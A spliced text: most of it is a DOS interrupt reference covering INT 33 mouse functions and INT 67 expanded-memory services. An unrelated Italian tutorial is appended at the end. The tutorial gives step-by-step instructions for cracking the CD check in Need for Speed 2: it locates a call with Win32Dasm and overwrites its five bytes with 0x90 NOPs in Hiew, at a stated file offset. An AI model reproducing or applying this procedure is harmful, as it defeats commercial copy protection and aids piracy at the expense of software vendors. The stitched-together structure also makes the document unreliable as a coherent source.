             ³      ³ ³ ³ ³ ÀÄÄÄ cursor position changed
             ³      ³ ³ ³ ÀÄÄÄÄ left button pressed
             ³      ³ ³ ÀÄÄÄÄÄ left button released
             ³      ³ ÀÄÄÄÄÄÄ right button pressed
             ³      ÀÄÄÄÄÄÄÄ right button released
             ÀÄÄÄÄÄÄÄÄÄÄ unused

        returns nothing


        - routine at ES:DX is called if an event occurs and the
          corresponding bit specified in user mask is set
        - routine at ES:DX receives parameters in the following
          registers:

          AX = condition mask causing call
          CX = horizontal cursor position
          DX = vertical cursor position
          DI = horizontal counts
          SI = vertical counts
          DS = mouse driver data segment
          BX = button state:

             ³F-2³1³0³
               ³  ³ ÀÄÄÄ left button (1 = pressed)
               ³  ÀÄÄÄÄ right button (1 = pressed)
               ÀÄÄÄÄÄÄÄ unused

        - initial call mask and user routine should be restore on exit
          from user program
        - user program may need to set DS to it's own segment
        - see ~INT 33,14~

:int 33,d
^INT 33,D - Mouse Light Pen Emulation On


        AX = 0D


        returns nothing
```

```
	- turns on light pen emulation;  the light pen is considered
	  down when both buttons are down;   when both buttons are
	  up the pen is considered off screen

	- see ~INT 33,E~

:int 33,e
^INT 33,E - Mouse Light Pen Emulation Off


	AX = 0E


	returns nothing


	- disables light pen emulation

	- see ~INT 33,D~

:int 33,f
^INT 33,F - Set Mouse Mickey Pixel Ratio


	AX = 0F
	CX = horizontal ratio (1..32767, default 8)
	DX = vertical ratio (1..32767, default 16)


	returns nothing


	- sets the ratio between physical cursor movement (mickeys) and
	  screen coordinate changes
	- CX and DX must be unsigned (high bit must be 0)

:int 33,10
^INT 33,10 - Mouse Conditional OFF


	AX = 10h
	CX = upper X screen coordinate
	DX = upper Y screen coordinate
	SI = lower X screen coordinate
	DI = lower Y screen coordinate


	returns nothing


	- defines screen region for updating in which the mouse is hidden
	  if found these coordinates (INT 33,1 must be used to turn cursor
	  on again)

	- see  ~INT 33,1~

:int 33,13
^INT 33,13 - Set Mouse Double Speed Threshold


	AX = 13h
	DX = threshold speed (mickeys per second, default 64)
```

returns nothing

- cursor speed is doubled when the cursor moves across the screen
  at the threshold speed

:int 33,14
^INT 33,14 - Swap Interrupt Subroutines

```
AX = 14h
ES:DX = far pointer to user routine
CX = user interrupt mask:

      ³F-8³7³6³5³4³3³2³1³0³ user interrupt mask in CX
        ³   ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄ cursor position changed
        ³   ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ left button pressed
        ³   ³ ³ ³ ³ ³ ÀÄÄÄÄÄ left button released
        ³   ³ ³ ³ ³ ÀÄÄÄÄÄÄ right button pressed
        ³   ³ ³ ³ ÀÄÄÄÄÄÄÄ right button released
        ÀÄÄÄÁÄÁÄÁÄÁÄÄÄÄÄÄÄÄ unused

on return:
CX = previous user interrupt mask
ES:DX = far pointer to previous user interrupt
```

- routine at ES:DX is called if an event occurs and the
  corresponding bit specified in user mask is set
- routine at ES:DX receives parameters in the following
  registers:

```
  AX = condition mask causing call
  CX = horizontal cursor position
  DX = vertical cursor position
  DI = horizontal counts
  SI = vertical counts
  DS = mouse driver data segment
  BX = button state:

     ³F-2³1³0³
       ³  ³ ÀÄÄÄ left button (1 = pressed)
       ³  ÀÄÄÄÄ right button (1 = pressed)
       ÀÄÄÄÄÄÄÄ unused
```

- initial call mask and user routine should be restore on exit
  from user program
- user program may need to set DS to it's own segment
- see ~INT 33,C~

:int 33,15
^INT 33,15 - Get Mouse Driver State and Memory Requirements

AX = 15h

on return
BX = buffer size need to hold current mouse state

- used before mouse functions 16h and 17h to determine memory
  needed to save mouse state before giving up control of mouse
  to another program

```
:int 33,16
^INT 33,16 - Save Mouse Driver State


      AX = 16h
      ES:DX = far pointer to mouse state save buffer


      returns nothing


      - used to save mouse information before relinquishing control
        to another programs mouse handler
      - see ~INT 33,15~   ~INT 33,17~

:int 33,17
^INT 33,17 - Restore Mouse Driver State


      AX = 17h
      ES:DX = far pointer to mouse state save buffer


      returns nothing


      - used to restore mouse information after regaining control
        from another programs mouse handler
      - see ~INT 33,15~   ~INT 33,16~

:int 33,18
^INT 33,18 - Set alternate subroutine call mask and address

      AX = 18h
      DX = offset to function
      CX = user interrupt mask:

            ³F-8³7³6³5³4³3³2³1³0³ user interrupt mask in CX
              ³  ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄ alt key pressed during event
              ³  ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ ctrl key pressed during event
              ³  ³ ³ ³ ³ ³ ÀÄÄÄÄÄ shift key pressed during event
              ³  ³ ³ ³ ³ ÀÄÄÄÄÄÄ right button up event
              ³  ³ ³ ³ ÀÄÄÄÄÄÄÄ right button down event
              ³  ³ ³ ÀÄÄÄÄÄÄÄÄ left button up event
              ³  ³ ÀÄÄÄÄÄÄÄÄÄ left button down event
              ³  ÀÄÄÄÄÄÄÄÄÄÄ cursor moved
              ÀÄÄÄÄÄÄÄÄÄÄÄÄÄ unused

      - entire mask is set to zero when ~INT 33,0~ is called
      - up to three handlers may be defined with this call
      - mask should be cleared before program exit
      - when handler is called it receives parameters in the following
        registers:

        AX = condition mask causing call
        CX = horizontal cursor position
        DX = vertical cursor position
        DI = horizontal counts
        SI = vertical counts
        DS = mouse driver data segment
        BX = button state:
```

```
      ³F-2³1³0³
        ³  ³ ÀÄÄÄ left button (1 = pressed)
        ³  ÀÄÄÄÄ right button (1 = pressed)
        ÀÄÄÄÄÄÄÄ unused
```

:int 33,19
^INT 33,19 - Get User Alternate Interrupt Address

AX = 19h
CX = user interrupt call mask (see below)

on return:
BX:DX = user interrupt vector
CX = user interrupt call mask or zero if not found

```
      ³F-8³7³6³5³4³3³2³1³0³ user interrupt mask in CX
        ³  ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄ alt key pressed during event
        ³  ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ ctrl key pressed during event
        ³  ³ ³ ³ ³ ³ ÀÄÄÄÄÄ shift key pressed during event
        ³  ³ ³ ³ ³ ÀÄÄÄÄÄÄ right button up event
        ³  ³ ³ ³ ÀÄÄÄÄÄÄÄ right button down event
        ³  ³ ³ ÀÄÄÄÄÄÄÄÄ left button up event
        ³  ³ ÀÄÄÄÄÄÄÄÄÄ left button down event
        ³  ÀÄÄÄÄÄÄÄÄÄÄ cursor moved
        ÀÄÄÄÄÄÄÄÄÄÄÄÄÄ unused
```

- returns vector to function defined by ~INT 33,18~
- searches the event handlers defined by INT 33,18 for a routine
  with a call mask matching CX

:int 33,1a
^INT 33,1A - Set Mouse Sensitivity

AX = 1A
BX = horizontal coordinates per pixel (ó 100)
CX = vertical coordinates per pixel (ó 100)
DX = double speed threshold

returns nothing

- sets mouse sensitivity by setting the ratio of the mouse
  coordinates per screen pixel
- provides same results as calls to both ~INT 33,F~ and ~INT 33,13~
- these values are not reset by ~INT 33,0~

:int 33,1b
^INT 33,1B - Get Mouse Sensitivity

AX = 1B

on return:
BX = horizontal coordinates per pixel (ó 100)
CX = vertical coordinates per pixel (ó 100)
DX = double speed threshold

- returns mouse sensitivity information as the number of mouse
  coordinates per screen pixel

```
:int 33,1c
^INT 33,1C - Set Mouse Interrupt Rate  (InPort only)


      AX = 1C
      BX = rate code
         = 0      no interrupts
         = 1      30 interrupts per second
         = 2      50 interrupts per second
         = 3      100 interrupts per second
         = 4      200 interrupts per second



      - work with the InPort mouse only
      - sets the rate the mouse status is polled by the mouse driver
      - faster rates provide better resolution but take away CPU time
      - values in BX > 4 can cause unpredicatable results

:int 33,1d
^INT 33,1D - Set Mouse CRT Page


      AX = 1D
      BX = CRT page number


      returns nothing


      - sets the CRT page which the mouse cursor is displayed
      - see ~VIDEO PAGES~

:int 33,1e
^INT 33,1E - Get Mouse CRT Page


      AX = 1E


      on return:
      BX = CRT page number cursor is displayed on


      - see ~VIDEO PAGES~

:int 33,1f
^INT 33,1F - Disable Mouse Driver


      AX = 1F


      on return:
      AX = 001F if successful
           FFFF if error
      ES:BX = previous ~INT 33~ vector


      - restores vectors for ~INT 10~ and INT 71 (8088/86) or INT 74 (286+)
      - ~INT 33~ interrupt vector (software) is not affected
      - use of the vector returned in ES:BX to restore the previous INT 33
```

```
          vector can cause problems since it contains the value of INT 33
          before the driver was installed; any other hooks into INT 33 set
          after driver installation will not receive service

:int 33,20
^INT 33,20 - Enable Mouse Driver


        AX = 20h


        returns nothing


        - reinstalls the mouse drivers interrupt vectors for INT 10 and
          INT 71 (8088/86) and INT 74 (286/386)
        - see ~INT 33,1F~

:int 33,21
^INT 33,21 - Reset Mouse Software

        AX = 21h

        on return:
        AX = 0021  mouse driver not installed
             FFFF  mouse driver installed
        BX = 2      mouse driver installed

        - similar to ~INT 33,0~ but does not reset the mouse hardware or
          display variables
        - both AX and BX must be correct for successful reset
        - interrupt routines set through ~INT 33,18~ are preserved
        - resets the mouse to the following defaults:

          .  mouse is positioned to screen center
          .  mouse cursor is reset and hidden
          .  no interrupts are enabled (mask = 0)
          .  double speed threshold set to 64 mickeys per second
          .  horizontal mickey to pixel ratio (8 to 8)
          .  vertical mickey to pixel ratio (16 to 8)
          .  max width and height are set to maximum for video mode

:int 33,22
^INT 33,22 - Set Language for Messages

        AX = 22h
        BX = language number (with /L switch value):
           = 0      English     n/a
           = 1      French          F
           = 2      Dutch     NL
           = 3      German          D
           = 4      Swedish     S
           = 5      Finnish     SF
           = 6      Spanish     E
           = 7      Portuguese  P
           = 8      Italian     I


        returns nothing


        - only works with international version of the mouse driver
        - see ~INT 33,23~
```

```
:int 33,23
^INT 33,23 - Get Language Number

      AX = 23h


      on return:
      BX = language number (with /L switch value):
         = 0      English     n/a
         = 1      French          F
         = 2      Dutch     NL
         = 3      German          D
         = 4      Swedish     S
         = 5      Finnish     SF
         = 6      Spanish     E
         = 7      Portuguese  P
         = 8      Italian     I

      - only works with international version of the mouse driver
      - returns English (0) if not international version

      - see ~INT 33,22~
:int 33,24
^INT 33,24 - Get Driver Version, Mouse Type & IRQ Number

      AX = 24h


      on return:
      BH = major version (see below)
      BL = minor version (see below)
      CH = mouse type:
         = 1      bus mouse
         = 2      serial mouse
         = 3      InPort mouse
         = 4      PS/2  mouse
         = 5      Hewlett Packard mouse
      CL = IRQ number:
         = 0      PS/2
         = 2      ~IRQ~ 2
         = 5      IRQ 5
         = 7      IRQ 7

      - version 6.1 would be represented as BH = 06h, BL = 10h
:int 4a
^INT 4A - RTC Alarm Handler Vector


      - not a true interrupt, but a pointer to an alarm handler routine
      - called by  ~INT 70~  and enabled by ~INT 1A,6~
      - routine must exit via IRET

:int 67:EMS services
^INT 67 - Expanded Memory Specification

%     For more information, see the following topics:

      ~INT 67,40~  Get EMM Status
      ~INT 67,41~  Get Page Frame Base Address
      ~INT 67,42~  Get Page Counts
      ~INT 67,43~  Get Handle and Allocate Pages
      ~INT 67,44~  Map Logical Page Into Physical Page Window
      ~INT 67,45~  Release Handle and Memory Pages
```

```
~INT 67,46~  Get EMM Version
~INT 67,47~  Save Page Map Context
~INT 67,48~  Restore Page Map Context
~INT 67,49~  Get I/O Port Addresses
~INT 67,4A~  Get Logical to Physical Page Mapping
~INT 67,4B~  Get Handle Count
~INT 67,4C~  Get Page Count for Handle
~INT 67,4D~  Get Page Count for All Handles
~INT 67,4E~  Get/Set Page Map Context
~INT 67,4F~  Get/Set Partial Page Map
~INT 67,50~  Map/Unmap Multiple Handle Pages
~INT 67,51~  Reallocate Pages
~INT 67,52~  Get/Set Handle Attributes
~INT 67,53~  Get/Set Handle Name
~INT 67,54~  Get Handle Directory
~INT 67,55~  Alter Page Map and Jump
~INT 67,56~  Alter Page Map and Call
~INT 67,57~  Move/Exchange Memory Region
~INT 67,58~  Get Mappable Physical Address Array
~INT 67,59~  Get Expanded Memory Hardware Information
~INT 67,5A~  Allocate Standard/Raw Pages
~INT 67,5B~  Alternate Map Register Set DMA Registers
~INT 67,5C~  Prepare Expanded Memory for Warm Boot
~INT 67,5D~  Enable/Disable OS Functions
~INT 67,60~  Get Physical Window Array

- function number is specified in AH
- see ~EMS STATUS~
```

```
:int 67,40:EMS status
^INT 67,40 - Get EMM Status  (LIM EMS 3.0+)

      AH = 40h

      on return:
      AH = status

           00  success
           80  internal software error
           81  hardware malfunction
           83  unallocated or invalid handle
           84  undefined function requested
           85  no handles available
           86  error in save or restore of mapping context
           87  more pages requested than physically exist
           88  more pages requested than currently available
           89  zero pages requested
           8A  invalid logical page number
           8B  illegal physical page number
           8C  context stack out of memory
           8D  context save failed, handle already has context stack
           8E  context restore failed, no context stack for handle
           8F  invalid subfunction
           90  undefined attribute type
           91  feature not supported
           92  success, portion of the source region was overwritten
           93  length of source or destination region exceeds length of
             region allocated to either source or destination handle
           94  conventional and expanded memory regions overlap
           95  offset within logical page exceeds size of logical page
           96  region length exceeds 1M
           97  source and destination regions have same handle and overlap
           98  memory source or destination type undefined
```

```
          9A  specified DMA register set not supported ???
            specified alternate map register set not supported
          9B  all DMA register sets currently allocated ???
            all alternate map register sets currently allocated
          9C  alternate DMA sets not supported ???
            alternate map register sets not supported
          9D  undefined or unallocated DMA register set ???
            undefined or unallocated alternate map register set
          9E  dedicated DMA channels not supported
          9F  specified dedicated DMA channel not supported
          A1  duplicate handle name
          A2  attempted to wrap around 1Mb conventional address space
          A3  contents of partial page map corrupted or count of
            mappable segments exceeds total mappable segments
          A4  operating system denied access


      - registers not listed are preserved
      - should only be used after establishing that the EMS driver
        is present
:int 67,41
^INT 67,41 - Get Page Frame Base Address  (LIM EMS 3.0+)


      AH = 41h


      on return:
      AH = 00 success
         = error code (see ~EMS STATUS~)
      BX = segment of page frame (PFBA)


      - use this to determine where in the 1Mb memory address the page
        frame will be mapped
      - registers not listed are preserved

:int 67,42
^INT 67,42 - Get Page Counts  (LIM EMS 3.2+)


      AH = 42h


      on return:
      AH = 00  success
         = error code (see ~EMS STATUS~)
      BX = number of unallocated or available pages
      DX = total number of pages in EMM system


      - registers not listed are preserved

:int 67,43
^INT 67,43 - Get Handle and Allocate Pages  (LIM EMS 3.2+)


      AH = 43h
      BX = number of logical pages to allocate


      on return:
      AH = 00  success
```

```
           = error code (see ~EMS STATUS~)
        DX = EMM handle


        - handles not explicitly closed by the application are not
          recoverable on exit from the program
        - registers not listed are preserved

:int 67,44
^INT 67,44 - Map Logical Page Into Physical Page Window (LIM EMS)


        AH = 44h
        AL = physical page number (0-3)
        BX = logical page number (0 to total allocated minus 1)
        DX = EMM handle


        on return:
        AH = 00  success
           = error code (see ~EMS STATUS~)


        - registers not listed are preserved

:int 67,45
^INT 67,45 - Release Handle and Memory Pages  (LIM EMS)


        AH = 45h
        DX = EMM handle


        on return:
        AH = 00 success
           = error code (see ~EMS STATUS~)


        - handles must be explicitly freed by an application or the memory
          will not be available to the following applications
        - if unsuccessful, the operation should be retried
        - registers not listed are preserved

:int 67,46
^INT 67,46 - Get EMM Version  (LIM EMS)


        AH = 46h


        on return:
        AH = 00  success
           = error code (see ~EMS STATUS~)
        AL = EMM version number in BCD


        - upper four bits of AL contain the BCD major version
        - lower four bits of AL contain the BCD minor version
        - registers not listed are preserved

:int 67,47
^INT 67,47 - Save Page Map Context  (LIM EMS 3.0+)
```

```
      AH = 47h
      DX = EMM handle assigned to the interrupt service routine
           servicing the interrupt


      on return:
      AH = 00  success
         = error code (see ~EMS STATUS~)


      - any TSR, ISR or device driver using EMS should save contexts
        before manipulating EMS memory and restore contexts afterwards
      - registers not listed are preserved
      - see ~INT 67,48~

:int 67,48
^INT 67,48 - Restore Page Map Context  (LIM EMS 3.0+)


      AH = 48h
      DX = EMM handle assigned to the interrupt service routine
           servicing the interrupt


      on return:
      AH = 00  success
         = error code (see ~EMS STATUS~)


      - any TSR, ISR or device driver using EMS should save contexts
        before manipulating EMS memory and restore contexts afterwards
      - registers not listed are preserved

:int 67,49
^INT 67,49 - Get I/O Port Addresses  (LIM EMS ó 3.0)


      AH = 49h
      ES:DI = far pointer to storage array


      on return:
      AL = board count  (0 < AL <= 4)
      AH = 00 success
         = error code (see ~EMS STATUS~)


      - defined in EMS 3.0, but undocumented in EMS 3.2;  new software
        should not use this function, but old software still works
      - registers not listed are preserved

:int 67,4a
^INT 67,4A - Get Logical to Physical Page Mapping  (LIM EMS ó 3.0)


      AH = 4A
      DX = EMS handle
      ES:DI far pointer to storage array


      on return:
      AH = 00  success
```

```
           = error code (see ~EMS STATUS~)
        BX = contains count of entries placed in array at ES:DI


        - defined in EMS 3.0, but undocumented in EMS 3.2;  new software
          should not use this function, but old software still works
        - registers not listed are preserved
```

:int 67,4b
^INT 67,4B - Get Handle Count (LIM EMS)

```
        AH = 4Bh


        on return:
        AH = 00  success
           = error code (see ~EMS STATUS~)
        BX = number of currently active EMM handles (0-256)
             zero indicates EMS not in use


        - to determine the number of handles available subtract BX from 255
        - registers not listed are preserved
```

:int 67,4c
^INT 67,4C - Get Page Count for Handle   (LIM EMS)

```
        AH = 4Ch
        DX = EMM handle


        on return:
        AH = 00  success
           = error code (see ~EMS STATUS~)
        BX = total allocated page count for handle (1-512)


        - a handle can refer to up to 512 logical pages
        - registers not listed are preserved
```

:int 67,4d
^INT 67,4D - Get Page Count for All Handles (LIM EMS)

```
        AH = 4Dh
        ES:DI = pointer to handle array


        on return:
        AH = 00  success
           = error code (see ~EMS STATUS~)
        BX = number of active EMM handles (0..255)
        ES:DI = pointer to an array of entries of the format:

           Offset  Size     Description
             00    word   EMS handle number
             02    word   number of pages

        - buffer at ES:DI should be able to hold an array of at least 4*BX
        - an error will occur if ES:DI points to a buffer that will
          cause a segment swap
        - registers not listed are preserved
```

```
:int 67,4e
^INT 67,4E - Get/Set Page Map Context  (LIM EMS 3.2+)

      AH = 4Eh
      AL = 00  get page mapping context into array
             ES:DI = pointer to destination array
           01  set page mapping context from array
             DS:SI = pointer to context source array
           02  get and set page mapping registers at once
             ES:DI = pointer to destination array
             DS:SI = pointer to context source array
           03  get size of page mapping array
           04-31  reserved


      on return:
      AH = 00  success
         = error code (see ~EMS STATUS~)
      AL = bytes in pagemapping array (when AL=3)
      ES:DI = pointer to array with mapping info (AL=00/02)

      - an error will occur if ES:DI points to a buffer that will
        cause a segment swap
      - designed for use by multitasking operating systems only

:int 67,4f
^INT 67,4F - Get/Set Partial Page Map  (LIM EMS 4.0+)

      AH = 4Fh

      AL = 00  get partial page map
           DS:SI = pointer to structure containing list of segments whose
                 mapping contexts are to be saved
           ES:DI = pointer to array to receive page map

      AL = 01  set partial page map
           DS:SI = pointer to structure containing saved partial page map

      AL = 02  get size of partial page map
           BX = number of mappable segments in the partial map to be saved


      on return:
      AH = 00  success
         = error code (see ~EMS STATUS~)
      AL = size of partial page map (if AL=2)

:int 67,50
^INT 67,50 - Map/Unmap Multiple Handle Pages  (LIM EMS 4.0+)


      AH = 50h
      AL = 00 Map/unmap pages
         = 01 map/unmap segments
      DX = EMM handle
      CX = number of entries in array
      DS:SI = pointer to mapping array


      on return:
      AH = 00  success
         = error code (see ~EMS STATUS~)
```

```
:int 67,51
^INT 67,51 - Reallocate Pages  (LIM EMS 4.0+)


      AH = 51h
      DX = EMM handle
      BX = number of pages to be allocated to handle


      on return:
      AH = 00  success
         = error code (see ~EMS STATUS~)
      BX = actual number of pages allocated to handle

:int 67,52
^INT 67,52 - Get/Set Handle Attributes   (LIM EMS 4.0+)


      AH = 52h
      AL = 00  get handle attributes
           01  set handle attributes
           02  get attribute capability
      BL = new attribute (if AL=1)
      DX = EMM handle


      on return:
      AH = 00  success
         = error code (see ~EMS STATUS~)
      AL = attribute (input AL=0)
           00  handle is volatile
           01  handle is nonvolatile
      AL = attribute capability (input AL=2)
           00  only volatile handles supported
           01  both volatile and nonvolatile supported

:int 67,53
^INT 67,53 Get/Set Handle Name     (LIM EMS 4.0+)


      AH = 53h
      AL = 00 get handle name
            ES:DI = pointer to 8byte handle name array

           01 set handle name
            DS:SI = pointer to 8byte handle name
            DX = EMM handle


      on return:
      AH = status  (see ~EMS STATUS~)

:int 67,54
^INT 67,54 - Get Handle Directory  (LIM EMS 4.0+)


      AH = 54h
      AL = 00  get handle directory
             ES:DI = pointer to buffer for handle directory

           01  search for named handle
             DS:SI = pointer to 8byte name
```

```
          02  get total number of handles


     on return:
     AL = number of entries in handle directory (AL = 00h)
     DX = value of named handle (if AH was 01)
     BX = total number of handles (if AH was 02)
     AH = status  (see ~EMS STATUS~)

:int 67,55
^INT 67,55 - Alter Page Map and Jump  (LIM EMS 4.0+)


     AH = 55h
     AL = 00  physical page numbers provided by caller
          01  segment addresses provided by caller
     DX = EMM handle
     DS:SI = pointer to structure with map and jump address


     on return:
     AH = status  (see ~EMS STATUS~)

:int 67,56
^INT 67,56 - Alter Page Map and Call  (LIM EMS 4.0+)


     AH = 56h
     AL = 00  physical page numbers provided by caller
            DX = EMM handle
            DS:SI = pointer to structure with page map and call address
          01  segment addresses provided by caller
            DX = EMM handle
            DS:SI = pointer to structure with page map and call address
          02  get page map stack space required


     on return:
     BX = stack space required (AL = 02)
     AH = status  (see ~EMS STATUS~)


     - if successful, the target address is called
     - use a RETF to return and restore mapping context

:int 67,57
^INT 67,57 - Move/Exchange Memory Region  (LIM EMS 4.0+)


     AH = 57h
     AL = 00  move memory region
          01  exchange memory region
     DS:SI = pointer to structure describing source and destination


     on return:
     AH = status  (see ~EMS STATUS~)

:int 67,58
^INT 67,58 - Get Mappable Physical Address Array  (LIM EMS 4.0+)


     AH = 58h
```

```
      AL = 00  get mappable physical address array
                ES:DI = pointer to buffer to be filled with array
           01  get number of entries in m.p.a. array


      on return:
      CX = number of entries in array
      AH = status  (see ~EMS STATUS~)
```

:int 67,59
^INT 67,59 - Get Expanded Memory Hardware Information (LIM EMS 4.0+)

```
      AH = 59h
      AL = 00  get hardware configuration array
                ES:DI = pointer to buffer to be filled with array
           01  get unallocated raw page count


      on return:
      BX = unallocated raw pages (AL = 01)
      DX = total raw pages (AL = 01)
      AH = status  (see ~EMS STATUS~)


      - subfunction 00 is for use by operating systems only; can be
        enabled or disabled at any time by the operating system
```

:int 67,5a
^INT 67,5A - Allocate Standard/Raw Pages (LIM EMS 4.0+)

```
      AH = 5A
      AL = 00  allocate standard pages
           01  allocate raw pages
      BX = number of pages to allocate


      on return:
      DX = EMM handle
      AH = status  (see ~EMS STATUS~)
```

:int 67,5b
^INT 67,5B - Alternate Map Register Set (LIM EMS 4.0+)

```
      AH = 5B
      AL = 00  get alternate map register set
           01  set alternate map register set
             BL = new alternate map register set number
             ES:DI = pointer to map register context save area if BL=0
           02  get alternate map save array size
           03  allocate alternate map register set
           04  deallocate alternate map register set
             BL = number of alternate map register set
           05  allocate DMA register set
           06  enable DMA on alternate map register set
             BL = DMA register set number
             DL = DMA channel number
           07  disable DMA on alternate map register set
             BL = DMA register set number
           08  deallocate DMA register set
             BL = DMA register set number
```

```
        on return:
        AH = status  (see ~EMS STATUS~)
        BL = active alternate map register set number if nonzero (AL=0)
           = number of alternate map register set; 0 if not supported (AL=3)
           = DMA register set number; zero if not supported (AL = 05)
        DX = array size in bytes (AL = 02)
        ES:DI = pointer to a map register context save area if BL=0 (AL=0)


        - for use by operating systems only; can be enabled or disabled
          at any time by the operating system

:int 67,5c
^INT 67,5C - Prepare Expanded Memory for Warm Boot  (LIM EMS 4.0+)

        AH = 5C


        on return:
        AH = status  (see ~EMS STATUS~)

:int 67,5d
^INT 67,5D - Enable/Disable OS Functions  (LIM EMS 4.0+)


        AH = 5D
        AL = 00  enable OS function Set
             01  disable OS function Set
             02  return access key
        BX,CX = access key returned by first invocation


        on return:
        AH = status  (see ~EMS STATUS~)
        BX,CX = access key, returned only on first invocation of function


        - function 2 resets memory manager, returns access key at next
          invocation

:int 67,60
^INT 67,60 - LIM EMS Get Physical Window Array


        AH = 60h
        ES:DI = pointer to physical window array


        on return:
        AH = 00  success
           = error status  (see ~EMS STATUS~)

:int 70
^INT 70 - Real Time Clock Interrupt  (XT 286,AT,PS/2)


        - called 1024 times per second for periodic and alarm functions
        - decrements a DWORD counter by 976æ sec (1/1024)
        - when DWORD reaches zero, bit 7 of designated wait flag is set
        - if alarm was enabled by  ~INT 1A,6~,  ~INT 4A~ is called when
          counter reaches zero to activate alarm handler
        - not available in model 30 PS/2
```

- see ~INT 15,83~   ~INT 15,86~

CRACK (CD) DI UN GIOCO

COSA SERVE PER CRACKARE

Ok prima di cominciare a crackare hai bisogno di un disassemblatore! Io uso Win32Dasm e penso che sia il miglior programma per un apprendista crackatore.

Poi hai bisogno di Hiew per manipolare gli exe che vuoi crackare perché con Win32Dasm puoi solo guardare negli exe ma non puoi cambiare niente.

Win32Dasm

Hiew

Devi diventare pratico di questi due programmi per riuscire a crackare i programmi.

Ok, prendiamo per buono che hai i programmi e cominciamo a crackare.

SI COMINCIA!!!

Crackare con Win32Dasm

Ok in questa lezione ti mostrerò come lavorare con Win32Dasm e Hiew.

Oggi vogliamo crackare un gioco molto facile da crackare. Crackeremo Need for Speed 2.

Ok. Lanciamo Win32Dasm.exe.Possiamo vedere la schermata principale e la toolbar. Clicchiamo su

Disassembler. Un menù appare e possiamo vedere delle opzioni. Clicchiamo su Open file to Disassemble. Un altro menù ci mostr il nostro HD e possiamo selezionare l'exe da crackare(ecco nfsw.exe).Il processo di disassemblazione può prendere alcuni minuti(cerca di avere almeno 80Mb liberi su disco o l'exe potrebbe non essere disassemblato totalmente). Ok, l'exe è disassemblato. E ora?

Tutto quello che vedi è un testo scritto col font Windings?NESSUN PROBLEMA!!!

Clicca su Disassembler e sulla schermata di opzioni seleziona Font e poi Select Font. Ora puoi selezionare il font da visualizzarepenso che il miglior font per lavorare sia Arial). Clicca Ok.

Ora possiamo leggere iltesto.Ok.Ma cosa diavolo vuol dire?

Object01: Begtext RVA: 00001000 Offset: 00000400 Size: 000AEA00 Flags 60000020

Cosa significa?Non lo sappiamo.Ma non importa!Non abbiamo bisogno di saperlo.Quello di cui abbiamo bisogno è di lanciare il gioco(Need for Speed 2) senza il CD inserito. Non funziona huh?PORK!Ma che messaggio di errore da?

Messaggio di errore:

To play Need for Speed 2 you need the Cd

Ok.Ora sappiamo il messaggio di errore!Questo è molto utile!Torniamo al Win32Dasm (nfsw.exe è già disassemblato), clicchiamo di destro sulla toolbar sul pulsante String Data References (è il pulsante dopo quello di stampa).Si apre una finestra chiamata Win32Dasm List of String Data Items. Ok. Tutto quello che dobbiamo fare è cercare il messaggio di errore che abbiamo visto lanciando Need for Speed senza il CD (per giocare a Need for Speed è necessario il CD). Cominicia per T per „To Play“ quindi non cerchiamo dall'inizio ma saltaiamo alla sezione dove vediamo messaggi che cominciano per „T“. Ed è lì che troviamo il messaggio di errore „To play Need for Speed 2 you“. Doppio click sul messaggio. Chiudiamo il menu pop-up con il messaggio di errore e torniamo alla schermata principale di Win32Dasm con il testo di nfsw.exe. Possiamo vedere che non siamo più all'inizio del testo ma in un qualche punto nel mezzo. Siamo ora esattamente nel posto dev'è il messaggio di errore. Vediamo ancora parole varie e non sappiamo cosa significa. Ma l'unica cosa che ci interessa di sapere e il numero di @offset di ogni comando di chiamata(call) o di salto(jump) (jump=jmp call = call). Guardiamo un attimo allo schermo e vediamo un comando di jump:

:0044632C EB1BC5E3E1 call 00446349

Usiamo i tasti cursore per cliccare sul comando jump. La Opbar cambia il suo colore in verde. Questo significa che possiamo manipolare il testo(possiamo modificare ogni cosa nell'exe, ma la barra verde ci segnala comandi importanti come jump,call…). Lasciamo la barra sul comando jump e guardiamo sotto la barra, dove vediamo alcuni numeri:

Line:120246 Pg 1604 of 4273 Code Data @:0045821 @Offset 00045821h in file:nfsw.exe

La sola cosa che ci interessa è il numero dopo @Offset (qui è 00045821), non abbiamo bisogno dell'ultima h.

Ci segnamo il numero(00045821) e chiudiamo Win32Dasm.

Ora andiamo con Hiew.

Crackare con HIEW

Lanciamo Hiew.exe(h.exe/h95.exe).Possiamo vedere la lista dei programmi e degli exe nella directory di HIEW in modo simile al Norton Commander. Usiamo i tasti cursore mer muoverci e andiamo nella directory doveabbiamo salvato l'exe che vogliamo crackare(per es. in c:\giochi\nfs2\nfsw.exe). Clicchiamo sull'exe che vogliamo craqckare(nfsw.exe).Vediamo codice su codice e non sappiamo cosa fare. Premiamo F4 e appare un menù. Nel menù selezioniamo Decode. Ora possiamo vedere una lista di numeri e altre cose. Ora premiamo F5 e nel lato sinistro dello schermo possiamo inserire il numero che ci abbiamo segnato in Win32Dasm (00045821). Scriviamo il numero e veniamo spostati da Hiew nel punto dove il numero esiste. Ora vediamo molti numeri e il cursore è posizionato su EB1BC5E3E1 (in Need for Speed 2).Ok. Ogni due numeri abbiamo un byte. Qui abbiamo EB1BC5E3E1, quindi abbiamo 5 byte. Ora premiamo F3(modifica). Ora possiamo modifica re i 10 numeri EB1BC5E3E1. Scriviamo 9. Se scriviamo veniamo spostati in altri punti, ma non è un problema. Il 9 è ancora lì. Ora scriviamo 0 e poi ancora

9 e 0. Lo faremo per ognuna delle coppie, quindi 5 volte. Premiamo F9(aggiorna).Abbiamo scritto 5 volte 90. Per ogni byte 90. Per EB=90 1B=90 C5=90 E3=90 E1=90.PER OGNI BYTE 90.

Per esempio: se ci posizioniamo su E8D117FDFF (è il codice di @offset per i filmati, ma per ora non preoccupiamocene), significa 10 numeir = 5 byte e per ogni byte un 90!!!! Il numero 90 è il numero noop(no operation, nessuna operazione).Ok.Premiamo F10(Chiudi) Ora possiamo lanciare Need for Speed 2 senza CD!!!

Abbiamo rimosso la protezione CD per Need for Speed 2!!!!

OK L'ABBIAMO FATTO

Ok abbiamo crackato la protezione CD.

QUALCOSA DA RICORDARE

La prima cosa da fare per crackare un gioco è lanciarlo senza CD!

